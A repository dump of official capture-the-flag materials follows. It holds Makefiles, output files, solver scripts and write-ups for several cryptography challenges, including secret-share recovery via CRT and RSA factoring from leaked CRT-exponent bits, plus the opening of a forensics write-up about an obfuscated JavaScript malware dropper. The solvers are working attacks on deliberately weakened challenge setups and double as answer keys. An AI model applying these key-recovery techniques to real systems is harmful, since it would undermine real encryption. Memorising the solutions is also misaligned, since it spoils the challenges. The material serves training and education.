$a_0$ reduced modulo different relatively prime moduli. 217 | 3. Having obtained enough modular congruences, apply the CRT to find the whole key. 218 | 4. Recalculate the decryption key 219 | 5. Request the encrypted flag and decrypt it. 220 | 221 | These steps can be represented by code with the `pwn()` function: 222 | 223 | ```python 224 | def pwn(): 225 | X, RK = obtain_shares() 226 | key = solve_crt(X, RK) 227 | aes_key = calculate_decryption_key(key) 228 | iv, enc_flag = request_encrypted_flag() 229 | flag = decrypt_flag(key, iv, enc_flag) 230 | print(flag) 231 | 232 | pwn() 233 | ``` 234 | -------------------------------------------------------------------------------- /uni-ctf-2023/crypto/[Easy] MSS/htb/solver.py: -------------------------------------------------------------------------------- 1 | from pwn import remote, process, args 2 | from sympy.ntheory.modular import crt 3 | from Crypto.Util.number import getPrime 4 | from Crypto.Cipher import AES 5 | from Crypto.Util.Padding import unpad 6 | import json, math 7 | from hashlib import sha256 8 | 9 | 10 | if args.REMOTE: 11 | ip, port = args.HOST.split(":") 12 | io = remote(ip, int(port)) 13 | else: 14 | io = process("python3 ../challenge/server.py", shell=True) 15 | 16 | d = 30 17 | n = 19 18 | 19 | X = [getPrime(15) for _ in range(n-1)] 20 | RK = [] # reduced keys 21 | 22 | for x in X: 23 | payload = json.dumps({'command': 'get_share', 'x': x}) 24 | io.sendlineafter(b'query = ', payload.encode()) 25 | y = json.loads(io.recvline().strip())['y'] 26 | RK.append(y % x) 27 | 28 | key = int(crt(X, RK)[0]) 29 | key = sha256(str(key).encode()).digest() 30 | 31 | payload = json.dumps({'command': 'encrypt_flag'}) 32 | io.sendlineafter(b'query = ', payload.encode()) 33 | io.recvuntil(b'flag : ') 34 | 35 | data = json.loads(io.recvuntil(b'}').strip()) 36 | iv = bytes.fromhex(data['iv']) 37 | encflag = bytes.fromhex(data['enc_flag']) 38 | 39 | cipher = AES.new(key, AES.MODE_CBC, iv) 40 | 41 | print(unpad(cipher.decrypt(encflag), 16).decode()) 42 | 43 | -------------------------------------------------------------------------------- /uni-ctf-2023/crypto/[Hard] Zombie Rolled/Makefile: -------------------------------------------------------------------------------- 1 | default: 2 | ifdef name 3 | @cd challenge; \ 4 | sage -python3 source.py; \ 5 | mkdir crypto_$(name); \ 6 | cp source.py output.txt ./crypto_$(name); \ 7 | cp output.txt ../htb/; \ 8 | mv ./crypto_$(name) ../release/; 9 | 10 | @cd release; \ 11 | zip -9 -r ./crypto_$(name).zip ./crypto_$(name); \ 12 | unzip -l ./crypto_$(name).zip; 13 | 14 | @echo [+] Challenge was built successfully. 15 | else 16 | @echo [-] Please define the challenge name. For example, \"make name=cool_chall_name\" 17 | endif 18 | 19 | flag: 20 | @echo [+] Flag : $$(cd challenge; sage -python3 -c 'import secret; print(secret.FLAG.decode())') 21 | solver: 22 | @echo [+] PoC : $$(cd htb ; sage -python3 solver.py) 23 | @find . -name "*.sage.py" -type f -delete 24 | 25 | test: clean default flag solver 26 | 27 | clean: 28 | @rm -rf release/* 29 | @rm -rf htb/output.txt 30 | @find . -name "*.sage.py" -type f -delete 31 | @echo [+] Challenge release deleted successfully. 32 | -------------------------------------------------------------------------------- /uni-ctf-2023/crypto/[Hard] Zombie Rolled/htb/output.txt: -------------------------------------------------------------------------------- 1 | pub = (-679149827688896546432684514781159016843208241259733038415608446794483893865137935606244643075224614588255514670703135466975466970913232919448971056463765967267932205245723609028669700790327888053737513173004906874791948794706164874163000233242663467112356684022940655151358257782991132383407917101800634477163967250047209128395271227452766580073122831277123102243705154267181506512402418039719173720827696442606604970528063168565779813124052546633103006687964589521475168208905582555230534709754318532234948569155566965251016769141273474050547777208930826949494111933369822606247918218189742785296490363879808413854798453415486721083351760540440727104905848109665720749305468099771944894375713469720303756620101486771358570935901473647573434771209918671576552610105681029288935780171889489032033021940200657122568137703155744190258342713712412791279147013204380608939099412456303268575877533613186703629403608506029153274825614231950222036769768440858686468414798013424323765200986740221652787739657510451377763752151261173701557996570807100005672113902309356835881522886670894124683065117547063607171455016275575226133973000898546626428525316423640294588059582425678225307973026140509236726222895277593502658123536454581741258241350319709620218946214665277722917625163484143287737560990362641167985157948128093478633332215687808673326510025966928820082371826010204772434810834908522239370003521927141674940923107924718589020116481655436804371698576313448620651274568714018039959665606305466508336068792512300330447079049391998121903628542300433666064229921580215835067999800174889123776199641564914760737600821953293714498453721075798275047009255942697608822458887368884228615671991262750899422262693397993810261279502497616420217291365257434988696383465213630804193810674969275499135895349396517300341694326130217329147937575188985044945549854453507141533817669145401648967346307076924815850188448842044898686784928539015228772201838211426957234107261809629639488140342429501192224120877838900600824055655563831019772958581350347081393942024086716044621385448218128870528968546874044728000006962970494893355352673283507468842799994294656025864551101856509528014985899203160260433154506345617010883888392862375738238905192516684056280710225432696655387350661830299769543107006018477779636761481812001885777307338070488998064732654317341303970152707374877928275562177058710127753099319277046999346991319018270073503529254012239006330090621492580837121246383935, -62076393535220713230211372773016154819776973272085279510651810925567779949353129946722665324346680014266486318715153201960740792449256110092242298637141869182191301801348471698842750492673269805386405258903922775271516275959471007270470783319809938344980989030858451767810558937769006054050097442784355926821230070379192555314422288851726919132047206078443630648828611342794053179031715333055698280449463491394083273880477510623203232349139229518535496279365263598613132079698328994631219260929529014155663831397189773051194410051588749692352737665469175569662944453505412436038259868251153299961933349760369897472364513246615362132669886696823052680175413762753451532554603896709930434997447861155715656069046149639262746319959746238179869888630675350046188185867904504017641487194302334327723755607524433514488406681046596968802669158589535873655500657057147028422069215178280598799698023523842357762349312690981167196137904038634376059163646848305423446194854985523208266633269733804799399607579721802215740994923964998077749276376011664190442983045021233328860583431325491398740404717916957583624416525249155775990424790364048060223994351310834002052812950138181225201366866314173709814344726454058400929651246654127831150461139153521780070432541564467256212600334416658092578286615407601260752708323965051595729545763555521745630970189873094019504197470499857463907805936270010647572788276449685684281797985033841971693243345694540270555091524839897049609610694927649006414175285808616559721550306026476105719357460921592355959150692653059587214522745084239909633381558412919917765258331958067109432311999676460754436818201240023311791169802096388297862219517745888298152485206376817292783209092101414045488990410966964411575840592166475524123368782667715013887175556663844953274929494297381264202051980047425186510319292378252632808136510156368067796082090881873863176619957188519245758562409606283750005034060349233190765189422774601110274372976258448740486162640303554541285690390642874100570657406690134508272681549727638076837266298852607372446728482637226932907561200761597573567176950238238261414346592107964949875193908993522612254840698757416962124520050724327233377985303460697496676181895430294259015494830416056429816116680627673230428123227550005209799526871524994673920145445281764352654447538983391735348123813851971146216997750793741632897137346289689048299843427272709114665386119324590006011517253390435055796456069897547662246663469050, 7830486145829508377558227408290134666403414818680891369176645894657730719560462345413647777035691365258303368067215176543275998927964954949936712360465415742305180023074796925974228987920346807337046972890048193675380148777690313974213732587383856306544481992804522271933234142582135631837143021763752036371144162337258022513117655962693146611295672219977744995976478481618309460588961678471875936477345228279163041888319063508894362501867902730894177063341454634424454782062634032617628985824505983759212857299828749995752235758280573881085074326788874659358083585790319249788052723728978677280818302159890013608215097544022503686764809254320162354127388898310054146477537454655331114752144580956313131601466170634129721047436217501010686515461442226299103956329529388095001070391385189826814864746360320333918929686149324974844514612649731799514398645742580625276435924292653289878873850265379360271050603859206438004883855432886650553014115919828422317294957226985270768975519537120458232477529774162488973095316791366021139626153997771391194348622350835846276300080551743631687665470499546808409919692234446116541139972549724015591941496221132694347053824568526998941915494190313922421141792712177850635304804853629529860738709134170021521102700328604628927875567294032063066171031633521264813050524393039049915547228949811888603458908961700972119089383547482638110428947454915597289453149684921808588155575892869551719408017163519505152564311034805403584244791464453674297092713220925531618514351406361895037695504970845118751396728421079695580995084470838685511076186640881628743480208128654755986540162228797182203097429878571055580982419910698271318560371375725624590383889293031827343721601921283218257563981664825233636121202430668321472633600201081855377049584327600961474706457007803948936824801776548939412019028877381656854352042881659133167174502453362966793813997989646037370005971535903722675701268453950616768210577721799262016472978512795971976360288455246627122308235526400041892494207712587655624310348101802715615388185255043745377008056152447575197765696754537890671347192620664952431667401070828663411172784617836559669320812607668877073449814900939924918858434664371233944816438544081459935797541138873496291375791704149531348074915907756350500006241339201669154574473335111528050064627331874217370202929428747238792910498913366471880111057711710182734506773946328772476941505432386559666283038340899500750365525879310436221464632932) 2 | mix = [320097670159304209872309549471930993417143388077612479497520462342663934977666619462544724222917378443968580805422580825361629081490271425796180005007150747981294833573665302687843134857904098195466433204039058015530152552325684827139190765614362244643766711802006240778166882116884363374725459551909065104305033828828854239454604753713577854447476580313858442898211797176449603725270483947895282965175447381948570185109212852155846189091780576621552251326144055737198080348963003230356855332599698331598994549981281612662608348841085666739363070407550100107611043508427316142601784200258788876751333421411315222696828075445887895455540798110282831853710380354729703219505108629359197051336831375142595785378662848001960222878291497005997865756885831339332471275732796885611507451753622271015336628712225776167393560183733898486530850953580390452793438185371865569655507768389802668508433717577899938841236692983646823027361, 349362680724100439001784418744128033820777004106762219940030797663423035126842789961301765825984790980690057949860749399355278228450692377224412215897507215190015109832483673402204604232784701242900565985678019980900605960003183528535025133581067044874804468687010880739758605406077761031350401248992459970793003097988643424534679899913404629630391199540164124586883472387639995010304310446530364782969667797609685774685940403053235307671556459857310584515167273597080744839887558160920716970032955099943334650018552259294137522684003806871855045036984303040298988654317845297423677227040203951111165862748444474516781528350286768742283071330157900311167729282004019891879048809487509974878771126244472706852271120669147203065908414503160273025384004067262219422586521719641783916408458322110103608436662590492232330298616191719127365835397875038644290248233827642595125378514596518087399154247594983235918109876187387712452] -------------------------------------------------------------------------------- /uni-ctf-2023/crypto/[Hard] Zombie Rolled/htb/solver.py: -------------------------------------------------------------------------------- 1 | from sage.all import * 2 | from Crypto.Util.number import long_to_bytes, bytes_to_long 3 | from fractions import Fraction 4 | from hashlib import sha256 5 | 6 | with open("output.txt") as f: 7 | exec(f.read()) 8 | 9 | 10 | def fraction_mod(f, n): 11 | return f.numerator * pow(f.denominator, -1, n) % n 12 | 13 | 14 | class PublicKey: 15 | 16 | def __init__(self, pub): 17 | self.pub = pub 18 | self.f = self.magic(pub) 19 | self.nb = (self.f.denominator.bit_length() + 7) // 8 20 | 21 | def encrypt(self, m): 22 | return pow(m, self.f.numerator, self.f.denominator) 23 | 24 | def verify(self, m, sig): 25 | s1, s2 = sig 26 | h = bytes_to_long(sha256(m.to_bytes(self.nb, "big")).digest()) 27 | a, b = m, h 28 | r = self.encrypt(s1) 29 | c = self.encrypt(s2) 30 | return fraction_mod(self.magic((a, b, c)), self.f.denominator) == r 31 | 32 | @staticmethod 33 | def magic(ar): 34 | a, b, c = ar 35 | return Fraction(a, b) + Fraction(b, c) + Fraction(c, a) 36 | 37 | 38 | def derive_private_key(pub): 39 | a, b, c = map(ZZ, pub) 40 | rhs = a / b + b / c + c / a 41 | P = QQ["a, b, c"] 42 | a, b, c = P.gens() 43 | eq = a / b + b / c + c / a - rhs 44 | f = EllipticCurve_from_cubic(eq.numerator(), [1, 0, 0]) 45 | fi = f.inverse() 46 | G = f(pub) 47 | aa, bb, cc = fi(G.division_points(2)[0]) 48 | l = lcm(lcm(aa.denom(), bb.denom()), cc.denom()) 49 | aa, bb, cc = ZZ(aa * l), ZZ(bb * l), ZZ(cc * l) 50 | assert aa / bb + bb / cc + cc / aa == rhs 51 | return int(aa), int(bb), int(cc) 52 | 53 | 54 | f = PublicKey.magic(pub) 55 | e = f.numerator 56 | n = f.denominator 57 | p, q, r = derive_private_key(pub) 58 | assert p * q * r == n 59 | print(p, q, r) 60 | phi = (p - 1) * (q - 1) * (r - 1) 61 | d = pow(e, -1, phi) 62 | s1ps2 = pow(mix[0], d, n) 63 | s1ms2 = pow(mix[1], d, n) 64 | i2 = pow(2, -1, n) 65 | s1 = (s1ps2 + s1ms2) * i2 % n 66 | s2 = (s1ps2 - s1ms2) * i2 % n 67 | r = pow(s1, e, n) 68 | c = pow(s2, e, n) 69 | 70 | P = QQ["a, b"] 71 | a, b = P.gens() 72 | """ 73 | a*b^2 + a^2*c + b*c^2 = x*a*b*c (mod n) 74 | (a*b^2 + a^2*c + b*c^2)/(a*b*c) = r = x (mod n) 75 | x/y = r (mod n) 76 | x, y are small -> LLL 77 | g = gcd(x, y) != 1 -> bruteforce 78 | """ 79 | 80 | B = matrix(ZZ, [[r, 1], [n, 0]]) 81 | B = B.LLL() 82 | x, y = map(abs, B[0]) 83 | assert x * pow(y, -1, n) % n == r 84 | for g in range(1, 100): 85 | xx, yy = x * g, y * g 86 | I = P.ideal([ 87 | a * b**2 + a**2 * c + b * c**2 - xx, 88 | a * b * c - yy, 89 | ]) 90 | try: 91 | sol = I.variety()[0] 92 | print(sol) 93 | print(g, long_to_bytes(int(sol[a]))) 94 | break 95 | except IndexError: 96 | pass 97 | -------------------------------------------------------------------------------- /uni-ctf-2023/crypto/[Medium] Mayday Mayday/Makefile: -------------------------------------------------------------------------------- 1 | default: 2 | ifdef name 3 | @cd challenge; \ 4 | python3 source.py; \ 5 | mkdir crypto_$(name); \ 6 | cp source.py output.txt ./crypto_$(name); \ 7 | cp output.txt ../htb/; \ 8 | mv ./crypto_$(name) ../release/; 9 | 10 | @cd release; \ 11 | zip -9 -r ./crypto_$(name).zip ./crypto_$(name); \ 12 | unzip -l ./crypto_$(name).zip; 13 | 14 | @echo [+] Challenge was built successfully. 15 | else 16 | @echo [-] Please define the challenge name. For example, \"make name=cool_chall_name\" 17 | endif 18 | 19 | flag: 20 | @echo [+] Flag : $$(cd challenge; python3 -c 'import secret; print(secret.FLAG.decode())') 21 | solver: 22 | @echo [+] PoC : $$(cd htb ; sage solver.sage) 23 | @find . -name "*.sage.py" -type f -delete 24 | 25 | test: clean default flag solver 26 | 27 | clean: 28 | @rm -rf release/* 29 | @rm -rf htb/output.txt 30 | @find . -name "*.sage.py" -type f -delete 31 | @echo [+] Challenge release deleted successfully. 32 | -------------------------------------------------------------------------------- /uni-ctf-2023/crypto/[Medium] Mayday Mayday/README.md: -------------------------------------------------------------------------------- 1 | ![img](../../assets/banner.png) 2 | 3 | Mayday Mayday 5 | 6 | 28th 2022 / Document No. D22.102.16 7 | 8 | Prepared By: `aris` 9 | 10 | Challenge Author(s): `aris` 11 | 12 | Difficulty: Medium 13 | 14 | Classification: Official 15 | 16 | # Synopsis 17 | 18 | - In this challenge, the players have to figure out how to factor $N$ either by exploiting the partial leakage of the CRT components. Even though there is a [paper](https://eprint.iacr.org/2022/271.pdf) that describes the exploitation steps, it is feasible for a player to figure them out themselves, as well. 19 | 20 | ## Description 21 | 22 | - After successfully obtaining the research papers by extracting the encryption key, a new obstacle arises. The essential information regarding potential cures, including formulas and test results, is shielded by another layer of encryption. Can you overcome this additional challenge to reveal the final formula, enabling you to initiate the cure creation process? 23 | 24 | ## Skills Required 25 | 26 | - Basic Python source code analysis. 27 | - Familiar with translating mathematical parameters into relations and equations. 28 | - Knowledge of the RSA-CRT variant. 29 | 30 | ## Skills Learned 31 | 32 | - Learn how to factor the RSA modulus $N$ from partial leakage of $d_p$ and/or $d_q$. 33 | - Learn how to research on the internet for papers and/or cryptographic vulnerabilities. 34 | 35 | # Enumeration 36 | 37 | ## Analyzing the source code 38 | 39 | Looking at `source.py`, we can see that the flow of the script is pretty straight forward. There is a class with an RSA implementation and the flag is encrypted with RSA. What stands out is the key generation process. 40 | 41 | ```python 42 | class Crypto: 43 | def __init__(self, bits): 44 | self.bits = bits 45 | self.alpha = 1/9 46 | self.delta = 1/4 47 | self.known = int(bits*delta) 48 | 49 | def keygen(self): 50 | while True: 51 | p, q = [getPrime(self.bits//2) for _ in '__'] 52 | self.e = getPrime(int(self.bits*alpha)) 53 | φ = (p-1)*(q-1) 54 | try: 55 | dp = pow(e, -1, p-1) 56 | dq = pow(e, -1, q-1) 57 | self.n = p*q 58 | break 59 | except: 60 | pass 61 | 62 | return (self.n, self.e), (dp, dq) 63 | 64 | def encrypt(self, m): 65 | return pow(m, self.e, self.n) 66 | ``` 67 | 68 | The main script body is also straight forward. 69 | 70 | ```python 71 | rsa = Crypto(2048) 72 | _, (dp, dq) = rsa.keygen() 73 | 74 | m = bytes_to_long(FLAG) 75 | c = rsa.encrypt(m) 76 | 77 | with open('output.txt', 'w') as f: 78 | f.write(f'N = 0x{rsa.n:x}\n') 79 | f.write(f'e = 0x{rsa.e:x}\n') 80 | f.write(f'c = 0x{c:x}\n') 81 | f.write(f'dp = 0x{(dp >> (rsa.bits//2 - rsa.known)):x}\n') 82 | f.write(f'dq = 0x{(dq >> (rsa.bits//2 - rsa.known)):x}\n') 83 | ``` 84 | 85 | The basic workflow of the script is as follows: 86 | 87 | 1. An RSA-2048 cryptosystem is initialized. 88 | 2. Then there is the key generation process which returns $d_p, d_q$ as the private keys instead of just $d$. This is known as the RSA-CRT variant of RSA and is considered faster than the standard decryption method that uses $d$. 89 | 3. The flag is encrypted. 90 | 4. We are given $N, e, c$ as well as a few MSB of the private keys $d_p, d_q$. 91 | 92 | What is worth to analyze is the choice of the public exponent $e$ and the leakage of the secret CRT exponents $d_p, d_q$. 93 | 94 | ## Analyzing the RSA-CRT components 95 | 96 | Apart from the standard parameters, there are also three values that we have not discussed yet. Namely, `alpha`, `delta` and `known`. We will denote `alpha` as $α$ and `delta` as $δ$. 97 | 98 | The public exponent is a random prime number and its size is bounded by $\lfloor 2048 \cdot \dfrac{1}{9} \rfloor = 227$ bits. Also, the size of the leakage is $\dfrac{2048}{2} - 2048*δ = 1024 - \lfloor 2048 \cdot \dfrac{1}{4} \rfloor = 512$ bits which is $\dfrac{1}{4}$ the size of $N$. The choice of the public exponent's size does not really look that random so this makes us think that the bounds for the RSA-CRT components are chosen in a way that makes the cryptosystem vulnerable. 99 | 100 | Before moving on, let us write a function that loads the data from the output file. 101 | 102 | ```python 103 | def load_data(): 104 | with open('output.txt') as f: 105 | exec(f.readline()) 106 | exec(f.readline()) 107 | exec(f.readline()) 108 | dp_msb = eval(f.readline().split(' = ')[1].strip()) 109 | dq_msb = eval(f.readline().split(' = ')[1].strip()) 110 | return N, e, c, dp_msb, dq_msb 111 | ``` 112 | 113 | # Solution 114 | 115 | ## Finding the vulnerability 116 | 117 | Usually, when there is some kind of leakage of secret parameters, our first thought is applying Coppersmith's method for univariate or bivariate polynomials to find small roots. However this method does not work for arbitrary leakage sizes. We cannot apply this method directly in this challenge, first we should perform an additional step. 118 | 119 | At this point, it is important to note that this challenge can be solved either manually, either by finding the right [paper](https://eprint.iacr.org/2022/271.pdf). One can find this paper by searching around the keywords "rsa factoring crt exponents public exponent". In the case which the MSB of $d_p, d_q$, which is our case, is significantly easier than the LSB case. The LSB case was demonstrated in Bauhinia CTF 2023 with the challenge `grhkm's babyRSA`. 120 | 121 | The core vulnerability of this RSA setup is the bound of $e$ and the size of the leakage of the RSA-CRT exponents which allow us to recover the entire secret exponents and factor $N$ as a result. The exploitation will be done in two steps. 122 | 123 | 1. In the first step, we have to recover the two numbers $k,l$ such that $ed_p = 1 + k(p-1)$ and $ed_q = 1 + l(q-1)$. 124 | 2. In the second step, we compute the unknown LSB of $d_p, d_q$ and then we obtain $p,q$ with a single substitution. 125 | 126 | We will follow the section (3.1) of the paper. We can see that it begins with calculating the product $k \cdot l$. Let: 127 | $$d_p = A*2^i + B\\ 128 | d_q = C*2^i + D$$ 129 | where $A$ the known MSB and $B$ the unknown LSB and $i$ the number of the unknown bits. Then we can compute $A = k \cdot l$ as: 130 | $$A = \lceil \dfrac{2^{2i}e^2 A C}{N} \rceil$$ 131 | Let us write a function that computes the product $k \cdot l$. 132 | 133 | ```python 134 | def calculate_product_kl(dp_msb, dq_msb, N, e, i): 135 | return ceil(((2**(2*i) * e**2 * dp_msb * dq_msb) / N)) 136 | 137 | bits = 2048 138 | known = 512 139 | N = ... # see output.txt 140 | e = ... 141 | dp_msb = ... 142 | dq_msb = ... 143 | i = bits//2 - known 144 | 145 | A = calculate_product_kl(dp_msb, dq_msb, N, e, i) 146 | ``` 147 | 148 | According to the paper, we can write: 149 | $$k + l = 1 - kl(N-1) \pmod e\quad\quad\quad\quad(1)$$ 150 | We know that $0 \leq k + l < 2e$ so either $0 \leq k+l < e$ or $e \leq k + l < 2e$. In the first case, the modulo is not applied at all while in the second case we expect that the sum $k+l$ is reduced by a single multiple of $e$ so by adding $e$ we get the unreduced sum. This is because $2e$ and $e$ differ by one multiple of $e$. 151 | 152 | For this part, the method of the paper calculates $k,l$ as the roots of two polynomials defined over $GF(e)$. It turns out that this is not required at all. There are two unknowns $k,l$ so we would need two relations in terms of $k,l$ to solve a system of equations. The first relation is already known $A = k \cdot l$. For the second equation we can use $(1)$. Therefore we know the following: 153 | $$k \cdot l = A\\ 154 | k + l = 1 - A(N-1)$$ 155 | Knowing these, we can solve for $k,l$ over the integers directly. Let us use SageMath to solve this system of equations. In the case it returns nothing, it is probably because the sum is larger than $e$ so we would have to add $e$ once. 156 | 157 | ```python 158 | def recover_k_and_l(A, N, e): 159 | k_plus_l = (1-A*(N-1)) % e 160 | 161 | k, l = var('k,l', domain=ZZ) 162 | 163 | # check both possibilities 164 | for s in [k_plus_l, k_plus_l + e]: 165 | try: 166 | sol = solve([k*l == A, k+l == s], k, l, solution_dict=True)[0] 167 | k, l = int(sol[k]), int(sol[l]) 168 | break 169 | except: 170 | pass 171 | 172 | assert A == k*l 173 | 174 | return k, l 175 | ``` 176 | 177 | ## Solving for the private CRT exponents 178 | 179 | Having recovered $k,l$, we can proceed with recovering $d_p, d_q$. We know that: 180 | $$ed_p \equiv 1 \pmod {p-1}$$ 181 | Recovering $p$ is enough to factor $N$ so we from now on we care only about the recovery of $d_p$ and not $d_q$. Doing some elementary algebra we can rewrite these relations as following: 182 | $$ed_p + k - 1 \equiv 0 \pmod{p}$$ 183 | and substituting $d_p, d_q$ using the known and unknown bits: 184 | $$\begin{align}e(A*2^i+B) + k - 1 &\equiv 0 \pmod p\\ 185 | 2^iAe + Be + k - 1 \equiv 0 \pmod p 186 | \end{align}$$ 187 | According to the paper, we can define the polynomial $P$ as below. 188 | $$P(x) = x + e^{-1}(A2^i + k - 1)$$ 189 | over $\mathbb{Z}/_{kN}\mathbb{Z}$. The root of this polynomial is $x = B$ so all we have to do is apply the Coppersmith's method on $P$ to find the small roots. Note that the bit length of $kN$ is approximately $\approx 1024 + 2048 = 3072$ bits and $B$ is approximately $\approx 1024$ bits which is less than $\dfrac{1}{3}$ of $kN$. This means that Coppersmith is guaranteed to return as a solution. 190 | 191 | Once we recover $d_p$, we can compute $p$ as: 192 | $$p = \dfrac{ed_p + k - 1}{k}$$ 193 | and factor $N$. 194 | 195 | ```python 196 | def factor(dp_msb, N, e, k, l, i): 197 | # we found k,l but probably in the wrong order 198 | # try both 199 | for kt, _ in [[k, l], [l, k]]: 200 | try: 201 | x = PolynomialRing(Zmod(kt*N), 'x').gens()[0] 202 | F = x + (e*dp_msb*2**i + kt - 1) * pow(e, -1, kt*N) 203 | dp_lsb = int(F.small_roots(X=2**i, beta=0.5)[0]) 204 | dp = (dp_msb << i) + dp_lsb 205 | 206 | p = (e*dp+kt-1) // kt 207 | q = N // p 208 | 209 | assert N == p * q 210 | 211 | return p, q 212 | except: 213 | pass 214 | ``` 215 | 216 | ## Exploitation 217 | 218 | Once we have factored $N$, we can decrypt the flag. 219 | 220 | ```python 221 | def decrypt(N, e, p, q, c): 222 | phi = (p-1)*(q-1) 223 | d = pow(e, -1, phi) 224 | m = pow(c, d, n) 225 | return m 226 | ``` 227 | 228 | ### Getting the flag 229 | 230 | A final summary of all that was said above: 231 | 232 | 1. Notice that the bound of the public exponent $e$ and the size of the leakage of $d_p, d_q$ enable us to recover the private CRT exponents. 233 | 2. By minimal researching on the internet we can find the paper that describes the exploitation process. Alternatively, we can proceed with solving it by figuring out the equations ourselves. 234 | 3. Having factored $N$, we can decrypt the flag. 235 | 236 | This recap can be represented by code with the `pwn()` function: 237 | 238 | ```python 239 | from Crypto.Util.number import long_to_bytes as l2b 240 | 241 | def pwn(): 242 | N, e, c, dp_msb, dq_msb = load_data() 243 | bits = 2048 244 | known = 512 245 | i = bits//2 - known 246 | A = calculate_product_kl(dp_msb, dq_msb, N, e, i) 247 | k, l = recover_k_and_l(A, N, e) 248 | p, q = factor(dp_msb, N, e, k, l, i) 249 | flag = decrypt(N, e, p, q, c) 250 | print(l2b(flag)) 251 | 252 | pwn() 253 | ``` 254 | -------------------------------------------------------------------------------- /uni-ctf-2023/crypto/[Medium] Mayday Mayday/htb/output.txt: -------------------------------------------------------------------------------- 1 | N = 0x78fb80151a498704541b888b9ca21b9f159a45069b99b04befcb0e0403178dc243a66492771f057b28262332caecc673a2c68fd63e7c850dc534a74c705f865841c0b5af1e0791b8b5cc55ad3b04e25f20dedc15c36db46c328a61f3a10872d47d9426584f410fde4c8c2ebfaccc8d6a6bd1c067e5e8d8f107b56bf86ac06cd8a20661af832019de6e00ae6be24a946fe229476541b04b9a808375739681efd1888e44d41196e396af66f91f992383955f5faef0fc1fc7b5175135ab3ed62867a84843c49bdf83d0497b255e35432b332705cd09f01670815ce167aa35f7a454f8b26b6d6fd9a0006194ad2f8f33160c13c08c81fe8f74e13e84e9cdf6566d2f 2 | e = 0x4b3393c9fe2e50e0c76920e1f34e0c86417f9a9ef8b5a3fa41b381355 3 | c = 0x17f2b5a46e4122ff819807a9d92b6225c483cf93c9804381098ecd6b81f4670e94d8930001b760f1d26bc7aa7dda48c9e12809d20b33fdb4c4dd9190b105b7dab42e932b99aaff54023873381e7387f1b2b18b355d4476b664d44c40413d82a10635fe6e7322543943aed2dcfbe49764b8da70edeb88d6f63ee47f025be5f2f38319611ab74cd5db6f90f60870ecbb57a884f821d873db06aadf0e61ff74cc7d4c8fc1e527dba9b205220c6707f750822c675c530f8ad6956e41ab80911da49c3d6a7d27e93c44ba5968f2f47a9c5a2694c9d6da245ceffe9cab66b6043774f446b1b08ee4739d3cc716b87c8225a84d3c4ea2fdf68143d09f062c880a870554 4 | dp = 0x59a2219560ee56e7c35f310a4d101061aa61e0ae4eae7605eb63784209ad488b4ed161e780811edd61bf593e2d385beccfd255b459382d8a9029943781b540e7 5 | dq = 0x39719131fbfd8afbc972ca005a430d080775bf1a5b3e8b789aba5c5110a31bd155ff13fba1019bb6cb7db887685e34ca7966a891bfad029b55b92c11201559e5 6 | -------------------------------------------------------------------------------- /uni-ctf-2023/crypto/[Medium] Mayday Mayday/htb/solver.sage: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import long_to_bytes as l2b 2 | 3 | with open('output.txt') as f: 4 | exec(f.readline()) 5 | exec(f.readline()) 6 | exec(f.readline()) 7 | dp_msb = eval(f.readline().split(' = ')[1].strip()) 8 | dq_msb = eval(f.readline().split(' = ')[1].strip()) 9 | 10 | BITS = 2048 11 | alpha = 1/9 12 | delta = 1/4 13 | KNOWN_BITS = int(BITS*delta) 14 | i = BITS//2 - KNOWN_BITS 15 | 16 | A = ceil(((2**(2*i) * e**2 * dp_msb * dq_msb) / N)) # A = k*l 17 | 18 | k_plus_l = (1-A*(N-1)) % e 19 | 20 | k, l = var('k,l', domain=ZZ) 21 | 22 | for s in [k_plus_l, k_plus_l + e]: 23 | try: 24 | sol = solve([k*l == A, k+l == s], k, l, solution_dict=True)[0] 25 | k, l = int(sol[k]), int(sol[l]) 26 | break 27 | except: 28 | pass 29 | 30 | print(f'[+] {k = }') 31 | print(f'[+] {l = }') 32 | 33 | assert A == k*l 34 | 35 | # we found k,l but probably in the wrong order 36 | # try both 37 | for kt, _ in [[k, l], [l, k]]: 38 | try: 39 | x = PolynomialRing(Zmod(kt*N), 'x').gens()[0] 40 | 41 | F = x + (e*dp_msb*2**i + kt - 1) * pow(e, -1, kt*N) 42 | 43 | dp_lsb = int(F.small_roots(X=2**i, beta=0.5)[0]) 44 | 45 | print(f'[+] {dp_lsb = }') 46 | 47 | dp = (dp_msb << i) + dp_lsb 48 | 49 | p = (e*dp+kt-1) // kt 50 | q = N // p 51 | 52 | assert N == p * q 53 | 54 | print(f'[+] {p = }') 55 | print(f'[+] {q = }') 56 | 57 | phi = (p-1)*(q-1) 58 | d = pow(e, -1, phi) 59 | m = pow(c, d, N) 60 | 61 | print(l2b(m)) 62 | except: 63 | pass 64 | 65 | -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Easy] One Step Closer/README.md: -------------------------------------------------------------------------------- 1 | ![](assets/banner.png) 2 | 3 | One Step Closer 4 | 5 | 20th November 2023 / Document No. D23.102.XX 6 | 7 | Prepared By: thewildspirit 8 | 9 | Challenge Author(s): thewildspirit 10 | 11 | Difficulty: Easy 12 | 13 | Classification: Official 14 | 15 | # Synopsis 16 | 17 | One step colser is an easy forensics challenge that involves analyzing a malicious js attachment leading to VBS and PowerShell code execution. 18 | 19 | ## Description 20 | 21 | * Tasked with defending the antidote's research, a diverse group of students united against a relentless cyber onslaught. As codes clashed and defenses were tested, their collective effort stood as humanity's beacon, inching closer to safeguarding the research for the cure with every thwarted attack. A stealthy attack might have penetrated their defenses. Along with the Hackster's University students, analyze the provided file so you can detect this attack in the future. *Note:** Make sure you edit `/etc/host` so that any hostnames found point to the Docker IP. 22 | 23 | ## Skills Required 24 | 25 | * Familiarity with malware delivery techniques 26 | 27 | ## Skills Learned 28 | 29 | * Analyzing malicous Java-Script code 30 | * Analyzing malicious VBS code 31 | * Analyzing malicious PowerShell code 32 | * Extracting hidden payloads 33 | 34 | # Enumeration 35 | 36 | Players are given the following file: 37 | 38 | * **vaccine.js**: Malicious JS attachment. 39 | 40 | Opening this file, we immediately notice that is heavily obfuscated. The code contains 2 functions that are never used, and a few lines that are actually executed as it can be seen below. 41 | 42 | ![](assets/js.png) 43 | 44 | Allthough it seems hard to read, the only obfuscation technique used, is replacing variable and function names with large random strings. To be able to read it, we need to replace the variables with simple names. 45 | 46 | ![](assets/deobf_js.png) 47 | 48 | Now we can easily read the code. To sum up, the attacker downloads a what it seems to be a `VBS` file, saves it on the temp folder 